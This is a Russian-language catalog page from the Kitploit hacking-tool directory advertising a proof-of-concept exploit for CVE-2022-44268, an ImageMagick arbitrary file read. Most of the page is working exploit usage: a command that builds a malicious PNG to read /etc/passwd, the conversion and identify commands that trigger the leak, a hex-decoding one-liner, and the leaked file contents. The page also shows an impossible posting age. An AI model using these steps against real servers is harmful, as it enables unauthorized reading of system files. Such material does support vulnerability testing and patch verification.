Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
imagemagick-lfi-poc — ImageMagick LFI PoC [CVE-2022-44268] | Kitploit
Инструменты/GitHubGitHub/sybil-scan/imagemagick-lfi-poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийСбор информацииТестирование на Проникновение
GitHubsybil-scan/imagemagick-lfi-poc

imagemagick-lfi-poc

ImageMagick LFI PoC [CVE-2022-44268]

Репозиторий
5392 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

ImageMagick LFI PoC [CVE-2022-44268]

Исследователи из MetabaseQ обнаружили CVE-2022-44268, то есть ImageMagick 7.1.0-49 уязвим для раскрытия информации. При разборе PNG-изображения (например, для изменения размера) результирующее изображение может содержать встроенное содержимое произвольного удалённого файла (если двоичный файл ImageMagick имеет права на его чтение).

Использование

  • Убедитесь, что у вас установлены ImageMagick и необходимые пакеты Python.
root@kitploit:~
(~)>>> python3 generate.py -f "/etc/passwd" -o exploit.png

   [>] ImageMagick LFI PoC - by Sybil Scan Research <[email protected]>
   [>] Generating Blank PNG
   [>] Blank PNG generated
   [>] Placing Payload to read /etc/passwd
   [>] PoC PNG generated > exploit.png
  • Преобразуйте сгенерированный PNG-файл:
root@kitploit:~
(~)>>> convert exploit.png result.png
  • Прочитайте содержимое преобразованного PNG-файла:
root@kitploit:~
(~)>>> identify -verbose result.png
  • Декодируйте данные, возвращённые в поле Raw profile type, и вы увидите содержимое /etc/passwd:
root@kitploit:~
(~)>>> python3 -c 'print(bytes.fromhex("726f6f743a783a726f6f743---REDACTED--").decode("utf-8"))'


root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin

Ссылки

  • https://www.metabaseq.com/imagemagick-zero-days/
  • https://github.com/duc-nt/CVE-2022-44268-ImageMagick-Arbitrary-File-Read-PoC
Скачать инструмент